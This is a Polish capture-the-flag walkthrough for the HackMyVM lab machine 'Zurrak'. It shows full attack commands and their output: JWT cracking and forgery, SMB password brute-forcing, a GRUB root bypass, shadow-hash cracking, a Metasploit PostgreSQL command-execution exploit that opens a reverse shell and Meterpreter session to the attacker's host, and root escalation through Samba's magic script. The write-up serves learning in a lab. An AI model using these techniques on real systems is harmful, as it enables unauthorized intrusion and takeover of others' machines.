Zurrak - tasiyanci

00. Metainfo

Nazwa: Zurrak
Autor: Tasiyanci
Wypuszczony: 2023-11-15
Ściągnij: HackMyVM
Poziom: Średni
System: Linux
Nauczysz się: JWT, SMB, Bruteforce, Postgres

01. Wstęp

Zurrak jest już kolejną maszynką od Tasiyanci. Złamanie jej zajmuje trochę czasu, zwłaszcza, jeżeli nie miałeś wcześniej do czynienia z narzędziami do SMB. Okazało się, że część tych programów do skanowania zasobów SMB nie działa tutaj tak jak trzeba (o tym później (a może ja nie działałem jak trzeba ;)). Obraz ma też parę możliwych rozwiązań. Nie wiem, czy to było w planie autora, czy je przypadkowo znalazłem. Maszynę zaś Szczerze polecam.

02. Skanowanie

Po uzyskaniu ip maszyny, najczęściej następuje skanowanko. Użyję komendę db_nmap z Metasploita.

db_nmap -A -p- -n 172.16.1.170
[*] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-21 17:23 CET
[*] Nmap: Nmap scan report for 172.16.1.170
[*] Nmap: Host is up (0.00064s latency).
[*] Nmap: Not shown: 65531 closed tcp ports (reset)
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 80/tcp   open  http        Apache httpd 2.4.57 ((Debian))
[*] Nmap: | http-title: Login Page
[*] Nmap: |_Requested resource was login.php
[*] Nmap: |_http-server-header: Apache/2.4.57 (Debian)
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 4.6.2
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 4.6.2
[*] Nmap: 5432/tcp open  postgresql  PostgreSQL DB 9.6.0 or later
[*] Nmap: |_ssl-date: TLS randomness does not represent time
[*] Nmap: | fingerprint-strings:
[*] Nmap: |   SMBProgNeg:
[*] Nmap: |     SFATAL
[*] Nmap: |     VFATAL
[*] Nmap: |     C0A000
[*] Nmap: |     Munsupported frontend protocol 65363.19778: server supports 3.0 to 3.0
[*] Nmap: |     Fpostmaster.c
[*] Nmap: |     L2195
[*] Nmap: |_    RProcessStartupPacket
[*] Nmap: | ssl-cert: Subject: commonName=zurrak
[*] Nmap: | Subject Alternative Name: DNS:zurrak
[*] Nmap: | Not valid before: 2023-10-20T19:29:16
[*] Nmap: |_Not valid after:  2033-10-17T19:29:16
[*] Nmap: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
[*] Nmap: SF-Port5432-TCP:V=7.94SVN%I=7%D=11/21%Time=655CD992%P=x86_64-pc-linux-gnu%
[*] Nmap: SF:r(SMBProgNeg,8C,"E\0\0\0\x8bSFATAL\0VFATAL\0C0A000\0Munsupported\x20fro
[*] Nmap: SF:ntend\x20protocol\x2065363\.19778:\x20server\x20supports\x203\.0\x20to\
[*] Nmap: SF:x203\.0\0Fpostmaster\.c\0L2195\0RProcessStartupPacket\0\0");
[*] Nmap: MAC Address: 08:00:27:CB:B2:6B (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 4.X|5.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
[*] Nmap: OS details: Linux 4.15 - 5.8
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Host script results:
[*] Nmap: | smb2-security-mode:
[*] Nmap: |   3:1:1:
[*] Nmap: |_    Message signing enabled but not required
[*] Nmap: | smb2-time:
[*] Nmap: |   date: 2023-11-21T16:23:53
[*] Nmap: |_  start_date: N/A
[*] Nmap: |_clock-skew: -1s
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.64 ms 172.16.1.170
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 22.31 seconds

Widać otwarte porty:

  • 80/tcp - Apache WWW
  • 445/tcp - Samba smbd
  • 5432/tcp - PostgreSQL

03. Strona www

Wchodząc przez przeglądarkę ukazuje się taka strona:

01

Oglądając źródło strony możemy zobaczyć login i hasło. Na razie jest łatwo, ale niedługo zaczną się schody.

02 Login jak widać to internal@zurrak.htb a hasło testsite.

Niestety, po zalogowaniu się, widać tylko początek strony.

03

W źródle zaś jest to:

04

Wpisując admin.php przenosi nas na index.php

03a. Burp Suite i obrazki (bez łamania tokena)

Przechwytując stronę przez Burp Suita widzimy token, ale teraz jest on nieistotny. Będąc w tym programie, wrzucamy wszystko do Repeatera. Tak jak się spodziewaliśmy, dalej jest tylko początek strony z napisem Welcome.

05

Ale, po usunięciu z nagłówka:

Connection: close
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJlbWFpbCI6ImludGVybmFsQHp1cnJhay5odGIiLCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxMzU2OTk5NTI0LCJuYmYiOjEzNTcwMDAwMDB9.ufkwBsusc4IEYCCRszCbcSEv6irCtUSx-Uq08OThxso
Upgrade-Insecure-Requests: 1

I dodanie dosłownie byle czego, dostajemy:

06 A na stronie mamy informację, że udział SMB nazywa się share oraz mamy nazwy obrazków: zurrakhorse.jpg, zurraksnake.jpg i zurrakhearts.jpg

03b. Burp Suite i obrazki (z łamaniem tokena)

Oczywiście w poprzednim punkcie poszedłem na skróty. Powinienem przejrzeć token:

07 Wchodząc na stronę wrzucamy token i widzimy:

08 Należy zwrócić uwagę na to, że pole z adminem wygląda tak: “isAdmin”: false. Spróbujmy więc złamać ten token, uzyskać hasło i zmienić “isAdmin”: na true. Do łamania haseł bardzo dobrze nadaje się Hashcat:

.\hashcat.exe -O -a0 .\hashe\zurrak.txt .\dict\rockyou.txt

09 Hashcat szybko złamał hasło - TEST123.

Wpisujemy hasło, zmieniamy “isAdmin” na true

10

Po wrzuceniu nowego tokena do nagłówka możemy przejrzeć stronę z obrazkami i komunikatem.

11

04. Stenografia

Ściągamy obrazki na dysk i zagłębiamy się w nie programem Stegseek.

stegseek zurrakhearts.jpg 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""0.0 MB)           

[i] Original filename: "asli.exe".
[i] Extracting to "zurrakhearts.jpg.out".

Tylko w zurrakhearts.jpg coś było ciekawego, okazał się nim plik o nazwie asli.exe. Uruchamiająć go pod Windowsem mamy komunikat:

PS C:\temp\zurrak> .\asli.exe
classified

Jednak to nie jest to, czego szukaliśmy.

05. hasło do loginu asli

05a. szukanie w pliku asli.exe

Po diseambleacji asli.exe w Ghidrze możemy zauważyć.

12

Rozkodowując uzyskujemy ilovecats.

printf '%b%b%b%b%b%b%b%b' "\x69\x6c\x6f\x76\x65\x63\x61\x74\x73\n"
ilovecats

05b. Łamanie hasła metodą bruteforce

Wcześniejszy sposób na znalezienie hasła był dla spostrzegawczych. Można ten sam wynik osiągnąć metodą siłową. Do tego użyłem programu Crackmapexec. Niestety inne narzędzia tego typu tj: Hydra, Medusa, Ncrack wyrzucały błędy przy skanowaniu, albo nie wiedziałem, czy program dobrze działa, czy się nie zawiesił. Na szczęście Crackmapexec był ok.

crackmapexec smb 172.16.1.170 -u asli -p /usr/share/wordlists/rockyou.txt
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:smokie STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:notebook STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:louis STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:lamborghini STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:ibrahim STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:dixie1 STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:coyote STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:class08 STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:Liverpool STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:terminator STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:sparks STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:smitty STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:loveis STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:honest STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:deleon STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:ESTRELLA STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:twins STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:stephany STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:roberts STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:pizzas STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:monmon STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [-] ZURRAK\asli:jeffrey1 STATUS_LOGON_FAILURE 
SMB         172.16.1.170    445    ZURRAK           [+] ZURRAK\asli:ilovecats 

Mając login, hasło i udział można spróbować wejść na SMB.

06. SMB

smbclient \\\\172.16.1.170\\share -U asli --password ilovecats

Będąc w katalogu \operations\New folder\deploy\3\latest\approved należy ściągnąć plik zurrak.old.vmdk

smb: \operations\New folder\deploy\3\latest\approved\> ls
  .                                   D        0  Tue Oct 24 22:21:21 2023
  ..                                  D        0  Tue Dec 18 07:30:09 2001
  zurrak.old.vmdk                     N 713883648  Tue Dec 18 07:30:09 2001

                9232860 blocks of size 1024. 6113440 blocks available
smb: \operations\New folder\deploy\3\latest\approved\> get zurrak.old.vmdk 
getting file \operations\New folder\deploy\3\latest\approved\zurrak.old.vmdk of size 713883648 as zurrak.old.vmdk (110448,7 KiloBytes/sec) (average 110448,7 KiloBytes/sec)
smb: \operations\New folder\deploy\3\latest\approved\> 

07. zurrak.old.vmdk

Tę nową wirtualkę odpaliłem w WMware WorkStation player 17. Pamiętaj jednak, że jak masz zainstalowanego Virtual Boxa to najlepiej na chwilę wyłączyć jego interfejs sieciowy, jeżeli masz zamiar korzystać z sieci. Jednak pójdziemy na skróty i widząc ekran Gruba wciskamy e, a potem edytujemy linię (tam gdzie jest linux). Zamieniamy ro quit na rw init=/bin/bash. Wciskamy F10 i jazda. Po uruchomieniu maszyny mamy dostęp do roota. W pliku /etc/shadows są hasła: root i postgres. A jak ściągnąć cały plik do siebie? Wystarczy go przerzucić przez nc, ale to zostawiam na ćwiczenie dla czytelnika.

13

08. Postgres

Odpalamy znowu Hashcata i działamy. O parametry się nie martw. Program zazwyczaj znajduje poprawnie typ hasha.

.\hashcat.exe -O -a0 .\hashe\zurrak-shadow.txt .\dict\rockyou.txt

14 Po krótkim czasie mamy hasełko: login i hasło do Postgresa. Wracamy do naszego Metasploita i szukamy modułu postgres_copy_from_program_cmd_exec:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set lhost eth0
lhost => 172.16.1.89
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set rhosts 172.16.1.170
rhosts => 172.16.1.170
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password baller15
password => baller15
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set username postgres
username => postgres
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.1.89:4444 
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > [*] 172.16.1.170:5432 - 172.16.1.170:5432 - PostgreSQL 15.3 (Debian 15.3-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 172.16.1.170:5432 - Exploiting...
[+] 172.16.1.170:5432 - 172.16.1.170:5432 - eex0NuYYivV dropped successfully
[+] 172.16.1.170:5432 - 172.16.1.170:5432 - eex0NuYYivV created successfully
[+] 172.16.1.170:5432 - 172.16.1.170:5432 - eex0NuYYivV copied successfully(valid syntax/command)
[+] 172.16.1.170:5432 - 172.16.1.170:5432 - eex0NuYYivV dropped successfully(Cleaned)
[*] 172.16.1.170:5432 - Exploit Succeeded
[*] Command shell session 1 opened (172.16.1.89:4444 -> 172.16.1.170:37714) at 2023-11-21 21:01:16 +0100

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions 

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               172.16.1.89:4444 -> 172.16.1.170:37714 (172.16.1.170)


msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.1.89:4433 
[*] Sending stage (1017704 bytes) to 172.16.1.170
[*] Meterpreter session 2 opened (172.16.1.89:4433 -> 172.16.1.170:56320) at 2023-11-21 21:02:25 +0100
[*] Command stager progress: 100.00% (773/773 bytes)

Dzięki modułowi postgres_copy_from_program_cmd_exec można wejść na konsolę maszyny. Inaczej trzeba byłoby kombinować, np. wchodząc bezpośrednio na maszynę.

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions 1
[*] Starting interaction with 1...

shell

[*] Trying to find binary 'python' on the target machine
[-] python not found
[*] Trying to find binary 'python3' on the target machine
[*] Found python3 at /usr/bin/python3
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /usr/bin/bash


postgres@zurrak:/var/lib/postgresql/15/main$

09. Shell

W katalogu /home/postgres jest ciekawy plik emergency.sh. Ale o nim później. Skanując cały system programem linpeas.sh znalazłem coś ciekawego w pliku /etc/fstab

//127.0.0.1/internal    uid=emre, pw=daily666

Login emre, hasło daily666. Przypomina to Sambę. W konfiguracji /etc/samba/smb.conf widać:

[internal]
comment = "zurrak internal share"
path = /opt/internal
hosts allow = 127.0.0.1
guest ok = no
browseable = yes
writable = yes
valid users = emre
create mask = 0777
directory mask = 0777
force user = root
magic script = emergency.sh

Ten skrypt emergency.sh zawiera komendę, która zmienia hasło na roota. Wrzućmy plik do /opt/internal logując się przez Smbclient.

smbclient \\\\127.0.0.1\\internal -U emre%daily666
smb: \> lcd /home/postgres
lcd /home/postgres
smb: \> put emergency.sh
put emergency.sh
putting file emergency.sh as \emergency.sh (0.9 kb/s) (average 0.9 kb/s)
smb: \> 
lcd /home/postgres

Masz dostęp do roota. Hasło znajdziesz w pliku /home/postgres/emergency.sh.

Dzięki PL4GU3 i jego solucji na YouTube możesz poznać też parę ciekawych sztuczek.

Zostaw komentarz